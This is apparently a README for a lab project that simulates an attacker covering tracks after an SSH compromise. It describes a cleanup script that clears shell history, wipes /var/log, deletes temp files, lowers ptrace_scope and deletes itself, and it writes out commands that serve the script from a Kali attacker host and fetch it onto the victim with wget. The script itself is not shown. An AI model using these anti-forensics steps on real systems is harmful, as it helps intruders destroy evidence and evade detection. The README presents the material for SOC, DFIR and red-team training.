Anti-Forensics SSH Cleanup Script

1. Project Overview

This project simulates an attacker using SSH to compromise a Linux machine (Ubuntu), execute sensitive commands, and then clean all traces using a Bash script. The script wipes logs, clears shell history, removes temp files, and optionally reboots the system, ensuring all session data and evidence are erased.

2. Lab Setup

Two virtual machines were used:

- Attacker Machine: Kali Linux
- Victim Machine: Ubuntu (target for SSH attack and log wiping)

The attacker hosts the cleanup script via HTTP and pulls it from the victim using wget or curl.

3. Script Purpose

The script performs the following actions:

- Clears bash history and disables further command history logging
- Wipes log files from /var/log to remove evidence
- Deletes temporary files from /tmp and /var/tmp
- Lowers ptrace_scope for stealth
- Asks the user if they want to reboot the system
- Deletes itself whether rebooting or not

This helps simulate how a threat actor might cover their tracks after gaining access.

4. Usage Commands

```
# On Kali (attacker):
cd ~/payloads
python3 -m http.server 8080

# On Ubuntu (victim):
wget http://<KALI_IP>:8080/clean.sh -O /tmp/clean.sh
chmod +x /tmp/clean.sh
```

```
bash /tmp/clean.sh
```

5. Final Thoughts

This script demonstrates how attackers may hide traces post-compromise. It's a great tool to train SOC analysts and DFIR teams to detect or mitigate log tampering, and can be used in Red Team labs to simulate realistic attacker behavior.

Always test in isolated environments.